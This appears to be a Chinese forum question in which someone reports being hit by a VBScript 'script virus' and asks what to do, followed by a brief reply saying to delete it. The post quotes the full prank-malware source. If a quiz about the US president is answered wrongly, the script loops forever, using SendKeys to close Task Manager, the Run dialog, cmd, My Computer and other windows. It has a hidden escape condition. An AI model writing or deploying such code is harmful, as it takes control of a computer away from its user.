DA=INPUTBOX("给你最后一个机会!"&VBCRLF&"请问美国总统"&_ 怎么办啊

dim gb,jj
gb=0
set shell=createobject("wscript.shell")
DA=INPUTBOX("给你最后一个机会!"&VBCRLF&"请问美国总统"&_
"叫什么名字?","你不小心运行了脚本病毒 !!","回答错误后果自负")
IF DA="奥巴玛" THEN
MSGBOX "程序即将结束",,"回答正确!"
WSCRIPT.QUIT
END IF
MSGBOX "作为惩罚, 你将不能运行以下程序"&VBCRLF&"我的"&_
"电脑 , 我的文档 ",,"回答错误"
do
wscript.sleep 100
jj=shell.appactivate("Windows 任务管理器")
wscript.sleep 50
if jj then shell.sendkeys "%fx"
dn=shell.appactivate("我的电脑")
wscript.sleep 100
IF DN then shell.sendkeys "%{f4}"
wd=shell.appactivate("我的文档")
wscript.sleep 50
IF WD THEN SHELL.SENDKEYS "%fC"
RX=shell.appactivate("运行")
IF RX THEN SHELL.SENDKEYS "%{f4}"
hs=shell.appactivate("回收站")
wscript.sleep 50
IF HS THEN SHELL.SENDKEYS "%fc"
cmd=shell.appactivate("c:\windows\system32\cmd.exe")
wscript.sleep 50
IF cmd THEN SHELL.SENDKEYS "exit{enter}"
GB=shell.appactivate("PE格式.txt - 记事本")
wscript.sleep 50
IF GB THEN wscript.quit
loop 我重了这个 怎么办啊  11

你怎么得到代码的？删了